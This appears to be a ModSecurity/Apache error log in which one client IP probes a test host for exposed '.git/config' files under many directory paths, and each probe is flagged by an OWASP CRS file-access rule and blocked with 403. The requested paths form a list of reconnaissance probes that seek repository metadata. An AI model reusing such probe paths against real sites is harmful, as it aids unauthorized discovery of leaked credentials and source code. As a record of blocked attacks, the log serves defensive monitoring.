[Mon Jul 17 02:19:50.623314 2023] [:error] [pid 673637] [client 3.143.209.15:52184] [client 3.143.209.15] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web/.git/config&quot;] [unique_id &quot;ZLSJJoZYX_VnrzSUhoVlPwAAAAI&quot;]
[Mon Jul 17 02:19:50.623435 2023] [:error] [pid 673637] [client 3.143.209.15:52184] [client 3.143.209.15] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web/.git/config&quot;] [unique_id &quot;ZLSJJoZYX_VnrzSUhoVlPwAAAAI&quot;]
[Mon Jul 17 02:19:50.835879 2023] [:error] [pid 674854] [client 3.143.209.15:52202] [client 3.143.209.15] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /alpha/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/alpha/.git/config&quot;] [unique_id &quot;ZLSJJi-vjPWa8Z17cvt-kQAAAAY&quot;]
[Mon Jul 17 02:19:50.836110 2023] [:error] [pid 674854] [client 3.143.209.15:52202] [client 3.143.209.15] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/alpha/.git/config&quot;] [unique_id &quot;ZLSJJi-vjPWa8Z17cvt-kQAAAAY&quot;]
[Mon Jul 17 02:19:50.836246 2023] [:error] [pid 674854] [client 3.143.209.15:52202] [client 3.143.209.15] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/alpha/.git/config&quot;] [unique_id &quot;ZLSJJi-vjPWa8Z17cvt-kQAAAAY&quot;]
[Mon Jul 17 02:19:50.846881 2023] [:error] [pid 673639] [client 3.143.209.15:52222] [client 3.143.209.15] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /database/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/database/.git/config&quot;] [unique_id &quot;ZLSJJnTUyDq7zN9MWDuSdwAAAAQ&quot;]
[Mon Jul 17 02:19:50.847101 2023] [:error] [pid 673639] [client 3.143.209.15:52222] [client 3.143.209.15] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/database/.git/config&quot;] [unique_id &quot;ZLSJJnTUyDq7zN9MWDuSdwAAAAQ&quot;]
[Mon Jul 17 02:19:50.847254 2023] [:error] [pid 673639] [client 3.143.209.15:52222] [client 3.143.209.15] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/database/.git/config&quot;] [unique_id &quot;ZLSJJnTUyDq7zN9MWDuSdwAAAAQ&quot;]
[Mon Jul 17 02:19:50.849637 2023] [:error] [pid 673636] [client 3.143.209.15:52192] [client 3.143.209.15] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /wp-content/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/.git/config&quot;] [unique_id &quot;ZLSJJj4zPyLpySdBdU6pYwAAAAE&quot;]
[Mon Jul 17 02:19:50.849881 2023] [:error] [pid 673636] [client 3.143.209.15:52192] [client 3.143.209.15] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/.git/config&quot;] [unique_id &quot;ZLSJJj4zPyLpySdBdU6pYwAAAAE&quot;]
[Mon Jul 17 02:19:50.850005 2023] [:error] [pid 673636] [client 3.143.209.15:52192] [client 3.143.209.15] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/.git/config&quot;] [unique_id &quot;ZLSJJj4zPyLpySdBdU6pYwAAAAE&quot;]
[Mon Jul 17 02:19:50.851093 2023] [:error] [pid 673638] [client 3.143.209.15:52218] [client 3.143.209.15] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /api/v3/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/v3/.git/config&quot;] [unique_id &quot;ZLSJJqf8b0BmNA89Kdw_ZAAAAAM&quot;]
[Mon Jul 17 02:19:50.851261 2023] [:error] [pid 673638] [client 3.143.209.15:52218] [client 3.143.209.15] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/v3/.git/config&quot;] [unique_id &quot;ZLSJJqf8b0BmNA89Kdw_ZAAAAAM&quot;]
[Mon Jul 17 02:19:50.851278 2023] [:error] [pid 673785] [client 3.143.209.15:52270] [client 3.143.209.15] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /v2/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/v2/.git/config&quot;] [unique_id &quot;ZLSJJjQiEmrnsFR88eZLZgAAAAU&quot;]
[Mon Jul 17 02:19:50.851392 2023] [:error] [pid 673638] [client 3.143.209.15:52218] [client 3.143.209.15] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/v3/.git/config&quot;] [unique_id &quot;ZLSJJqf8b0BmNA89Kdw_ZAAAAAM&quot;]
[Mon Jul 17 02:19:50.851471 2023] [:error] [pid 673785] [client 3.143.209.15:52270] [client 3.143.209.15] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/v2/.git/config&quot;] [unique_id &quot;ZLSJJjQiEmrnsFR88eZLZgAAAAU&quot;]
[Mon Jul 17 02:19:50.851613 2023] [:error] [pid 673785] [client 3.143.209.15:52270] [client 3.143.209.15] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/v2/.git/config&quot;] [unique_id &quot;ZLSJJjQiEmrnsFR88eZLZgAAAAU&quot;]
[Mon Jul 17 02:19:50.853939 2023] [:error] [pid 673635] [client 3.143.209.15:52296] [client 3.143.209.15] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /api/v2/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/v2/.git/config&quot;] [unique_id &quot;ZLSJJuqR2JONb5tmzF-nawAAAAA&quot;]
[Mon Jul 17 02:19:50.854101 2023] [:error] [pid 673635] [client 3.143.209.15:52296] [client 3.143.209.15] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/v2/.git/config&quot;] [unique_id &quot;ZLSJJuqR2JONb5tmzF-nawAAAAA&quot;]
[Mon Jul 17 02:19:50.854221 2023] [:error] [pid 673635] [client 3.143.209.15:52296] [client 3.143.209.15] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/v2/.git/config&quot;] [unique_id &quot;ZLSJJuqR2JONb5tmzF-nawAAAAA&quot;]
[Mon Jul 17 02:19:50.865215 2023] [:error] [pid 673637] [client 3.143.209.15:52348] [client 3.143.209.15] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /old-cuburn/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/old-cuburn/.git/config&quot;] [unique_id &quot;ZLSJJoZYX_VnrzSUhoVlQAAAAAI&quot;]
[Mon Jul 17 02:19:50.865386 2023] [:error] [pid 673637] [client 3.143.209.15:52348] [client 3.143.209.15] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/old-cuburn/.git/config&quot;] [unique_id &quot;ZLSJJoZYX_VnrzSUhoVlQAAAAAI&quot;]
[Mon Jul 17 02:19:50.865506 2023] [:error] [pid 673637] [client 3.143.209.15:52348] [client 3.143.209.15] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/old-cuburn/.git/config&quot;] [unique_id &quot;ZLSJJoZYX_VnrzSUhoVlQAAAAAI&quot;]
[Mon Jul 17 02:19:51.072698 2023] [:error] [pid 674854] [client 3.143.209.15:52280] [client 3.143.209.15] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /api/user/v1/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/user/v1/.git/config&quot;] [unique_id &quot;ZLSJJy-vjPWa8Z17cvt-kgAAAAY&quot;]
[Mon Jul 17 02:19:51.072936 2023] [:error] [pid 674854] [client 3.143.209.15:52280] [client 3.143.209.15] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/user/v1/.git/config&quot;] [unique_id &quot;ZLSJJy-vjPWa8Z17cvt-kgAAAAY&quot;]
[Mon Jul 17 02:19:51.073080 2023] [:error] [pid 674854] [client 3.143.209.15:52280] [client 3.143.209.15] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/user/v1/.git/config&quot;] [unique_id &quot;ZLSJJy-vjPWa8Z17cvt-kgAAAAY&quot;]
[Mon Jul 17 02:19:51.079596 2023] [:error] [pid 673639] [client 3.143.209.15:52244] [client 3.143.209.15] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /__macosx/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/__MACOSX/.git/config&quot;] [unique_id &quot;ZLSJJ3TUyDq7zN9MWDuSeAAAAAQ&quot;]
[Mon Jul 17 02:19:51.079810 2023] [:error] [pid 673639] [client 3.143.209.15:52244] [client 3.143.209.15] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/__MACOSX/.git/config&quot;] [unique_id &quot;ZLSJJ3TUyDq7zN9MWDuSeAAAAAQ&quot;]
[Mon Jul 17 02:19:51.079933 2023] [:error] [pid 673639] [client 3.143.209.15:52244] [client 3.143.209.15] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/__MACOSX/.git/config&quot;] [unique_id &quot;ZLSJJ3TUyDq7zN9MWDuSeAAAAAQ&quot;]
[Mon Jul 17 02:19:51.086631 2023] [:error] [pid 673785] [client 3.143.209.15:52238] [client 3.143.209.15] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /repos/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/repos/.git/config&quot;] [unique_id &quot;ZLSJJzQiEmrnsFR88eZLZwAAAAU&quot;]
[Mon Jul 17 02:19:51.086831 2023] [:error] [pid 673785] [client 3.143.209.15:52238] [client 3.143.209.15] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/repos/.git/config&quot;] [unique_id &quot;ZLSJJzQiEmrnsFR88eZLZwAAAAU&quot;]
[Mon Jul 17 02:19:51.086958 2023] [:error] [pid 673785] [client 3.143.209.15:52238] [client 3.143.209.15] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/repos/.git/config&quot;] [unique_id &quot;ZLSJJzQiEmrnsFR88eZLZwAAAAU&quot;]
[Mon Jul 17 02:19:51.087860 2023] [:error] [pid 673638] [client 3.143.209.15:52320] [client 3.143.209.15] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /api/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.git/config&quot;] [unique_id &quot;ZLSJJ6f8b0BmNA89Kdw_ZQAAAAM&quot;]
